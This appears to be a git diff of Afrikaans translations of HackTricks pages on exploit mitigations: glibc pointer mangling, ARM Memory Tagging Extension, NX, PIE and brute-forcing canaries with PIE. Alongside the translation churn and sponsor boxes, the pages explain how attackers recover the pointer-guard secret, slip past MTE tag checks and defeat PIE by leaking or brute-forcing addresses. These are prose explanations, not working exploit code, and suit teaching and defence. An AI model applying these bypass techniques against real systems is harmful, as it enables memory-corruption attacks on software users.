1. **Begrip van Pointer Wagtwoord Operasies:** Die deurmekaarklits (mangling) van aanwysers word gedoen met behulp van die `PTR_MANGLE` makro wat die aanwyser met 'n 64-bis geheim XOR en dan 'n linkse rotasie van 0x11-bits uitvoer. Die omgekeerde operasie om die oorspronklike aanwyser te herwin, word hanteer deur `PTR_DEMANGLE`.
2. **Aanvalstrategie:** Die aanval is gebaseer op 'n bekende-teksbenadering, waar die aanvaller beide die oorspronklike en die deurmekaargemaakte weergawes van 'n aanwyser moet ken om die geheim wat gebruik word vir deurmekaarklitting af te lei.
2. **Aanvalstrategie:** Die aanval is gebaseer op 'n bekende-teksbenadering, waar die aanvaller beide die oorspronklike en die deurmekaargeklitte weergawes van 'n aanwyser moet ken om die geheim wat vir die deurmekaarklitting gebruik word, af te lei.
3. **Uitbuiting van Bekende Teks:**
* **Identifisering van Vaste Funksie-Aanwysers:** Deur glibc-bronkode te ondersoek of geïnisialiseerde funksie-aanwyser-tabelle (soos `__libc_pthread_functions`) te ondersoek, kan 'n aanvaller voorspelbare funksie-aanwysers vind.
* **Berekening van die Geheim:** Deur 'n bekende funksie-aanwyser soos `__pthread_attr_destroy` te gebruik en sy deurmekaargemaakte weergawe van die funksie-aanwyser-tabel, kan die geheim bereken word deur die deurmekaargemaakte aanwyser omgekeerd te roteer (regs rotasie) en dit dan met die adres van die funksie te XOR.
* **Berekening van die Geheim:** Deur 'n bekende funksie-aanwyser soos `__pthread_attr_destroy` te gebruik en sy deurmekaargeklitte weergawe van die funksie-aanwyser-tabel, kan die geheim bereken word deur die deurmekaargeklitte aanwyser om te keer (regs rotasie) en dit dan met die adres van die funksie te XOR.
4. **Alternatiewe Teks:** Die aanvaller kan ook eksperimenteer met die deurmekaarklitting van aanwysers met bekende waardes soos 0 of -1 om te sien of hierdie identifiseerbare patrone in geheue produseer, wat moontlik die geheim kan onthul wanneer hierdie patrone in geheue-afleidings gevind word.
5. **Praktiese Toepassing:** Na die berekening van die geheim kan 'n aanvaller aanwysers op 'n beheerde wyse manipuleer, wat in wese die Pointer Wagtwoordbeskerming in 'n multidraadtoepassing kan omseil met kennis van die libc-basisadres en die vermoë om willekeurige geheue-plekke te lees.
5. **Praktiese Toepassing:** Na die berekening van die geheim kan 'n aanvaller aanwysers op 'n beheerde wyse manipuleer, wat essensieel die Pointer Wagtwoordbeskerming in 'n multidraadtoepassing kan omseil met kennis van die libc-basisadres en die vermoë om willekeurige geheuelokasies te lees.
## Verwysings

View file

@ -1,55 +1,56 @@
# Memory Tagging Extension (MTE)
# Geheue Merkuitbreiding (MTE)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
**Memory Tagging Extension (MTE)** is ontwerp om sagteware-betroubaarheid en -veiligheid te verbeter deur **geheuger-verwante foute op te spoor en te voorkom**, soos buffer-oorvloei en gebruik-na-vry kwesbaarhede. MTE, as deel van die **ARM**-argitektuur, bied 'n meganisme om 'n **klein etiket aan elke geheue-toewysing te heg** en 'n **ooreenstemmende etiket aan elke wyser** wat na daardie geheue verwys. Hierdie benadering maak die opsporing van onwettige geheugentoegange tydens uitvoering moontlik, wat die risiko om sulke kwesbaarhede te benut vir die uitvoering van willekeurige kode aansienlik verminder.
**Geheue Merkuitbreiding (MTE)** is ontwerp om sagteware-betroubaarheid en -veiligheid te verbeter deur **geheueverwante foute op te spoor en te voorkom**, soos buffer-oorvloeie en gebruik-na-vry kwesbaarhede. MTE, as deel van die **ARM**-argitektuur, bied 'n meganisme om 'n **klein merk aan elke geheue-toewysing te heg** en 'n **ooreenstemmende merk aan elke wyser** wat na daardie geheue verwys. Hierdie benadering maak die opsporing van onwettige geheuetoevalle tydens uitvoering moontlik, wat die risiko van die uitbuiting van sulke kwesbaarhede vir die uitvoering van willekeurige kode aansienlik verminder.
### **Hoe Memory Tagging Extension Werk**
### **Hoe Geheue Merkuitbreiding Werk**
MTE werk deur **geheue in klein, vasgestelde blokke te verdeel, met elke blok wat 'n etiket toegewys kry,** tipies 'n paar bietjies groot.&#x20;
MTE werk deur **geheue in klein, vasgestelde blokke te verdeel, met elke blok wat 'n merk toegewys kry,** tipies 'n paar bietjies groot.&#x20;
Wanneer 'n wyser geskep word om na daardie geheue te wys, kry dit dieselfde etiket. Hierdie etiket word gestoor in die **ongebruikte bietjies van 'n geheue-wyser**, wat die wyser effektief koppel aan sy ooreenstemmende geheueblok.
Wanneer 'n wyser geskep word om na daardie geheue te wys, kry dit dieselfde merk. Hierdie merk word gestoor in die **ongebruikte bietjies van 'n geheue-wyser**, wat die wyser effektief koppel aan sy ooreenstemmende geheueblok.
<figure><img src="../../.gitbook/assets/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Wanneer 'n program geheue deur 'n wyser toegang, kontroleer die MTE-hardeware of die **etiket van die wyser ooreenstem met die etiket van die geheueblok**. As die etikette **nie ooreenstem nie**, dui dit op 'n **onwettige geheue-toegang.**
Wanneer 'n program geheue deur 'n wyser toegang, kontroleer die MTE-hardeware dat die **merk van die wyser ooreenstem met die merk van die geheueblok**. As die merke **nie ooreenstem nie**, dui dit op 'n **onwettige geheuetoegang.**
### MTE Wysertekens
### MTE Wysmerke
Tekens binne 'n wyser word gestoor in 4 bietjies binne die boonste byte:
Merke binne 'n wyser word gestoor in 4 bietjies binne die boonste byte:
<figure><img src="../../.gitbook/assets/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Dit maak dus tot **16 verskillende etiketwaardes** moontlik.
Dit maak dus tot **16 verskillende merkwaardes** moontlik.
### MTE Geheue-etikette
### MTE Geheue Merke
Elke **16B van fisiese geheue** het 'n ooreenstemmende **geheue-etiket**.
Elke **16B van fisiese geheue** het 'n ooreenstemmende **geheue-merk**.
Die geheue-etikette word gestoor in 'n **toegewyde RAM-gebied** (nie toeganklik vir normale gebruik nie). Met 4 bietjies etikette vir elke 16B geheue-etikette tot 3% van RAM.
Die geheue-merke word gestoor in 'n **toegewyde RAM-gebied** (nie toeganklik vir normale gebruik nie). Met 4 bietjies merke vir elke 16B geheue-merke tot 3% van RAM.
ARM introduceer die volgende instruksies om hierdie etikette in die toegewyde RAM-geheue te manipuleer:
ARM introduceer die volgende instruksies om hierdie merke in die toegewyde RAM-geheue te manipuleer:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Kontroleermodusse
## Kontroleer Modusse
### Sync
@ -66,26 +67,26 @@ Die CPU kontroleer die etikette **asinkroon**, en wanneer 'n wanpassing gevind w
## Implementering & Opmerkingsvoorbeelde
Geroep Hardeware Etiket-Gebaseerde KASAN, MTE-gebaseerde KASAN of in-kernel MTE.\
Die kernel-allocators (soos `kmalloc`) sal **hierdie module aanroep** wat die etiket gereed maak om te gebruik (willekeurig) dit aan die toegewysde kernel-spasie heg en aan die teruggekeerde wyser.
Genoem Hardware Etiket-Gebaseerde KASAN, MTE-gebaseerde KASAN of in-kernel MTE.\
Die kernel-allocators (soos `kmalloc`) sal **hierdie module aanroep** wat die etiket voorberei om te gebruik (willekeurig) dit aan die toegewysde kernel-spasie heg en aan die teruggekeerde wyser.
Let daarop dat dit slegs genoeg geheuegranules sal merk (elk 16B) vir die gevraagde grootte. Dus as die gevraagde grootte 35 was en 'n slob van 60B gegee is, sal dit die eerste 16\*3 = 48B met hierdie etiket merk en die **res** sal gemerk word met 'n sogenaamde **ongeldige etiket (0xE)**.
Let daarop dat dit slegs genoeg geheuekorrels (16B elk) vir die gevraagde grootte sal **merk**. Dus, as die gevraagde grootte 35 was en 'n slob van 60B gegee is, sal dit die eerste 16\*3 = 48B met hierdie etiket merk en die **res** sal met 'n sogenaamde **ongeldige etiket (0xE)** gemerk word.
Die etiket **0xF** is die **pas alle wyser**. 'n Geheue met hierdie wyser laat toe dat **enige etiket gebruik word** om toegang tot sy geheue te verkry (geen wanpassings). Dit kan voorkom dat MET 'n aanval opspoor as hierdie etikette in die aangevalle geheue gebruik word.
Die etiket **0xF** is die **pas alle wyser**. 'n Geheue met hierdie wyser laat **enige etiket toe om** toegang tot sy geheue te verkry (geen wanpassings). Dit kan voorkom dat MET 'n aanval opspoor as hierdie etikette in die aangevalle geheue gebruik word.
Daarom is daar slegs **14 waardes** wat gebruik kan word om etikette te genereer aangesien 0xE en 0xF gereserveer is, wat 'n waarskynlikheid van **hergebruik van etikette** van 1/17 -> ongeveer **7%** gee.
Daarom is daar slegs **14 waardes** wat gebruik kan word om etikette te genereer aangesien 0xE en 0xF gereserveer is, wat 'n hergebruikswaarskynlikheid van etikette van 1/17 -> ongeveer **7%** gee.
As die kernel toegang tot die **ongeldige etiket granule** verkry, sal die **wanpassing** opgespoor word. As dit toegang tot 'n ander geheueplek verkry, as die **geheue 'n ander etiket** (of die ongeldige etiket) het, sal die wanpassing opgespoor word. As die aanvaller gelukkig is en die geheue dieselfde etiket gebruik, sal dit nie opgespoor word nie. Die kanse is ongeveer 7%.
As die kernel toegang tot die **ongeldige etiketkorrel** verkry, sal die **wanpassing** opgespoor word. As dit toegang tot 'n ander geheueplek verkry, as die **geheue 'n ander etiket** (of die ongeldige etiket) het, sal die wanpassing opgespoor word. As die aanvaller gelukkig is en die geheue dieselfde etiket gebruik, sal dit nie opgespoor word nie. Die kanse is ongeveer 7%.
'n Ander fout kom voor in die **laaste granule** van die toegewysde geheue. As die aansoek 35B versoek het, is die granule van 32 tot 48 gegee. Daarom gebruik die **byte vanaf 36 tot 47 dieselfde etiket** maar dit is nie aangevra nie. As die aanvaller toegang tot **hierdie ekstra byte verkry, word dit nie opgespoor** nie.
'n Ander fout kom voor in die **laaste korrel** van die toegewysde geheue. As die aansoek 35B versoek het, is die korrel van 32 tot 48 gegee. Daarom gebruik die **byte vanaf 36 tot 47 dieselfde etiket** maar dit is nie versoek nie. As die aanvaller toegang tot **hierdie ekstra bytes verkry, word dit nie opgespoor** nie.
Wanneer **`kfree()`** uitgevoer word, word die geheue heretiketteer met die ongeldige geheue-etiket, sodat in 'n **gebruik-na-vry**, wanneer die geheue weer benader word, die **wanpassing opgespoor word**.
Tog, in 'n gebruik-na-vry, as dieselfde **blok weer met dieselfde etiket toegewys word** as voorheen, sal 'n aanvaller hierdie toegang kan gebruik en dit sal nie opgespoor word nie (ongeveer 7% kans).
Verder, slegs **`slab` en `page_alloc`** gebruik geëtiketteerde geheue, maar in die toekoms sal dit ook gebruik word in `vmalloc`, `stack` en `globals` (op die oomblik van die video kan hierdie steeds misbruik word).
Verder, slegs **`slab` en `page_alloc`** gebruik geëtiketteerde geheue, maar in die toekoms sal dit ook in `vmalloc`, `stack` en `globals` gebruik word (op die oomblik van die video kan hierdie steeds misbruik word).
Wanneer 'n **wanpassing opgespoor word**, sal die kernel **paniek** veroorsaak om verdere uitbuiting en herpogings van die aanval te voorkom (MTE het nie vals positiewe nie).
Wanneer 'n **wanpassing opgespoor word**, sal die kernel **paniek** veroorsaak om verdere uitbuiting en herhalings van die aanval te voorkom (MTE het nie vals positiewe nie).
## Verwysings

View file

@ -1,22 +1,23 @@
# Geen-uitvoer / NX
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Basiese Inligting
Die **Geen-Uitvoer (NX)** bit, ook bekend as **Uitvoer Uitskakeling (XD)** in Intel terminologie, is 'n hardeware-gebaseerde sekuriteitskenmerk wat ontwerp is om die effekte van **buffer-oorvloei**-aanvalle te **verswak**. Wanneer geïmplementeer en geaktiveer, onderskei dit tussen geheue-areas wat bedoel is vir **uitvoerbare kode** en dié bedoel vir **data**, soos die **stapel** en **heap**. Die kernidee is om 'n aanvaller te verhoed om skadelike kode deur buffer-oorvloei kwesbaarhede uit te voer deur die skadelike kode byvoorbeeld in die stapel te plaas en die uitvoervloei daarnaar te rig.
Die **Geen-Uitvoer (NX)** bit, ook bekend as **Uitvoer Uitskakel (XD)** in Intel terminologie, is 'n hardeware-gebaseerde sekuriteitskenmerk wat ontwerp is om die effekte van **buffer-oorvloei**-aanvalle te **verswak**. Wanneer geïmplementeer en geaktiveer, onderskei dit tussen geheuegebiede wat bedoel is vir **uitvoerbare kode** en dié bedoel vir **data**, soos die **stapel** en **heap**. Die kernidee is om te voorkom dat 'n aanvaller kwaadwillige kode uitvoer deur buffer-oorvloei kwesbaarhede deur die kwaadwillige kode byvoorbeeld in die stapel te plaas en die uitvoervloei daarnaar te rig.
## Oorskrydings
@ -25,16 +26,17 @@ Die **Geen-Uitvoer (NX)** bit, ook bekend as **Uitvoer Uitskakeling (XD)** in In
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
* **Ret2...**
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# PIE
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan bij** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}
## Basiese Inligting
'n Binêre saamgestel as PIE, of **Position Independent Executable**, beteken die **program kan by verskillende geheueplekke gelaai word** elke keer as dit uitgevoer word, wat hardcoded adresse voorkom.
'n Binêre saamgestel as PIE, of **Position Independent Executable**, beteken die **program kan by verskillende geheue-plekke** elke keer as dit uitgevoer word gelaai word, wat vasgeklopte adresse voorkom.
Die truuk om hierdie binêre lêers te benut, lê daarin om die **relatiewe adresse** te benut—die verskille tussen dele van die program bly dieselfde selfs al verander die absolute plekke. Om PIE te **omseil, hoef jy net een adres te lek**, tipies van die **stapel** deur kwesbaarhede soos formaatstringaanvalle te gebruik. Sodra jy 'n adres het, kan jy ander bereken deur hul **vaste verskuiwings**.
Die truuk om hierdie binêre lêers te benut lê in die benutting van die **relatiewe adresse**—die verskille tussen dele van die program bly dieselfde selfs al verander die absolute plekke. Om PIE te **omseil, hoef jy net een adres te lek**, tipies van die **stapel** deur kwesbaarhede soos formaatstringaanvalle te gebruik. Sodra jy 'n adres het, kan jy ander bereken deur hul **vaste verskuiwings**.
'n Nuttige wenk in die benutting van PIE-binêre lêers is dat hul **basisadres tipies eindig op 000** as gevolg van geheuebladsye wat die eenhede van randomisasie is, met 'n grootte van 0x1000 byte. Hierdie belyning kan 'n kritiese **toets wees as 'n uitbuiting nie werk soos verwag nie**, wat aandui of die korrekte basisadres geïdentifiseer is.\
Of jy kan dit vir jou uitbuiting gebruik, as jy lek dat 'n adres geleë is op **`0x649e1024`** weet jy dat die **basisadres `0x649e1000`** is en van daar af kan jy net **verskuiwings bereken** van funksies en plekke.
'n Nuttige wenk in die benutting van PIE-binêre lêers is dat hul **basisadres tipies eindig op 000** as gevolg van geheuebladsye wat die eenhede van randomisasie is, met 'n grootte van 0x1000 byte. Hierdie belyn kan 'n kritiese **kontroleer wees as 'n uitbuit nie werk soos verwag nie**, wat aandui of die korrekte basisadres geïdentifiseer is.\
Of jy kan dit vir jou uitbuit, as jy lek dat 'n adres geleë is op **`0x649e1024`** weet jy dat die **basisadres `0x649e1000`** is en van daar af kan jy net **verskuiwings bereken** van funksies en plekke.
## Omseilings
Om PIE te omseil is dit nodig om **'n adres van die gelaai** binêre lêer te lek, daar is 'n paar opsies hiervoor:
* **ASLR gedeaktiveer**: As ASLR gedeaktiveer is, word 'n binêre saamgestel met PIE altyd **gelaai by dieselfde adres**, daarom is **PIE nutteloos** aangesien die adresse van die voorwerpe altyd op dieselfde plek gaan wees.
* Kry **gegee** die lek (gewoonlik in maklike CTF-uitdagings, [**kyk na hierdie voorbeeld**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* Kry **gegee** die lek (gewoonlik in maklike CTF-uitdagings, [**kontroleer hierdie voorbeeld**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
* **Brute-force EBP en EIP-waardes** in die stapel totdat jy die regte een lek:
{% content-ref url="bypassing-canary-and-pie.md" %}
@ -41,16 +42,17 @@ Om PIE te omseil is dit nodig om **'n adres van die gelaai** binêre lêer te le
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer die [**abonnementsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# BF Adres in die Stokkie
# BF Adres in die Stok
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
**As jy te make het met 'n binêre lêer wat beskerm word deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om hulle te omseil.**
**As jy te make het met 'n binêre lêer wat beskerm word deur 'n kanarie en PIE (Position Independent Executable) moet jy waarskynlik 'n manier vind om dit te omseil.**
![](<../../../.gitbook/assets/image (865).png>)
{% hint style="info" %}
Let daarop dat **`checksec`** dalk nie vind dat 'n binêre lêer beskerm word deur 'n kanarie as dit staties saamgestel is en nie in staat is om die funksie te identifiseer nie.\
Jy kan dit egter handmatig opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stokkie gestoor word en hierdie waarde voor die uittrede nagegaan word.
Jy kan dit egter handmatig opmerk as jy vind dat 'n waarde aan die begin van 'n funksieoproep in die stok gestoor word en hierdie waarde voor die uittrede nagegaan word.
{% endhint %}
## Brute-Force Adres
Om die **PIE te omseil** moet jy **'n paar adresse lek**. En as die binêre lêer nie enige adresse lek nie, is die beste om dit te doen om die **RBP en RIP wat in die stokkie gestoor is, te brute-force** in die kwesbare funksie.\
Om die **PIE te omseil** moet jy **'n paar adresse lek**. En as die binêre lêer nie enige adresse lek nie, is die beste om dit te doen om die **RBP en RIP wat in die stok gestoor is in die kwesbare funksie te brute-force**.\
